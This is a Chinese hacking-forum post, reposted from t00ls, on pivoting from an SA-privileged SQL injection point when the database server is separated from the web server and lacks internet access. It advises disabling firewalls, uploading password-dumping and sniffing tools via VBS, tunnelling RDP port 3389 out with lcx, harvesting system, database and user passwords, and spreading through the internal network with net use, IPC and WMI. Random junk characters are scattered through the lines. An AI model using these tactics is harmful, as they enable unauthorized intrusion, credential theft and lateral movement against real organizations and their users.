当你碰到SA的注入点,可以执行命令,但是web与数据库分离,你都会怎么做呢,当数据库不服务器不能连接外网的时候,是不是只想着从web搞呢,这篇文章从t00ls转载过来,希望对大家sa权限的注入点数据库web分离提供一些渗透思路。
$ \# C' D) N( z& E3 W% F# K \- N j
: D @% ^ ]5 q% r% f/ Q# Q
( U: Z, Q8 b% f# u& G# T+ L: [8 X p, z7 `4 s, J% i
SA点,system权限,可执行命令,web和db分离.DB机器不上网(一般指中马不上线,lcx反弹不出), y8 K1 K- n4 P
: ?) m/ o6 M0 M$ A5 p" C
5 J& H9 i6 t- Y3 D% D1 p+ _一、DB机有公网IP.: I% N: b9 i; A6 h# Y( { u
" C- J- V! s& d7 x5 l" K3 O7 W6 m/ K
1:执行命令把系统防火墙和ip策略停止,netstat -an找到3389端口尝试连接.# X. H8 Q9 ?4 T3 L- b; e E# c
$ ~+ \, g' D! B5 U9 E
" z3 Q0 Z* @, h' X0 S2:从内往外扫描.把命令行下的s扫描器转成vbs传上DB机器生成exe扫描外网一台做了端口策略的机器.这台外网机器开放所有端口.(可以到网上找这 样的 机器.) 如果扫描结果有开放端口,证明在这台DB机可以把3389转到外面机器.比如扫到80 那就lcx -slave ip 80 127.0.0.1 3389.
; F% g% N8 ~6 I2 {$ B: Y5 N1 |
6 M. h: J/ J1 Z2 z
$ z1 |) A$ l! h l3:尽量多拿密码.用vbs的方法上传gethash,sqlsniffer类的工具.拿到系统和mssql的密 码,数据库表的后台管理员密码,member表的最前几个用户密码.这些密码可以用来测试web后台,web的3389 ftp等.当然事先要对web机器完整扫描一遍. www.2cto.com9 w! l8 o; [, S8 j ~+ N
( z, m1 m+ I1 |; H$ F" L- r. N: P$ a3 m
4,nmap扫描.用nmap扫描web和db机器的1-65535端口.如果发现db机器显示有closed的端口.那恭喜你,你可以lcx -tran 把3389转发到该端口直接登陆.firewalk也有类似功能.但对代理防火墙无用.
& j& a2 b$ W4 I' d! g6 n: x- F. q, t4 _. M5 ^
* F- @& i! X: t/ d9 H. f
* M/ R+ J) p+ }( x2 i. V4 L二、DB机只有内网IP& K3 \" C# _) d9 n5 O- B1 V5 h
1 Z' M7 @2 `: Y" }8 N7 R4 r1:尽量多拿密码来net use到web机器.这个过程需要极大的耐心 , 拿密码尝试登陆web后台等.- B" p, G+ Z1 ]9 n' O/ \' f
" s/ f$ g& N. i* o+ m! Z2 r( j' f1 p- B) ^' K: Z" i0 U
2:停掉防火墙和IP策略再从内往外扫描.. h$ j9 f' v! f8 E" v
5 F" Y4 ~+ B6 U7 I. G0 V0 f/ S" y, y* n- U, M" z
3: ipconfig /dispalydns如果发现有公网的域名,极大可能是路由做了手脚.机会还是有的.+ J2 {6 {: o. O" u
/ n6 t. }# G8 x# ~/ i0 `5 K
5 A& {- E: J3 z2 [4:学会密码规律分析往往会有惊喜.
3 s. K" L+ e& B1 }, l6 t: e4 Y7 V
) f+ z" I+ A7 g0 a8 _5,在sa点里执行命令渗透内网,找可上网的机器.isql,ipc共享,wmi等
. T. R5 W" }1 e* J* l" |4 y$ m& h/ n- u9 K9 x p6 ]
4 E# w4 g4 W7 r
有些地区或国家会禁止别的国家连接一些端口,所以拥有目标国代理或VPN是很重要的 |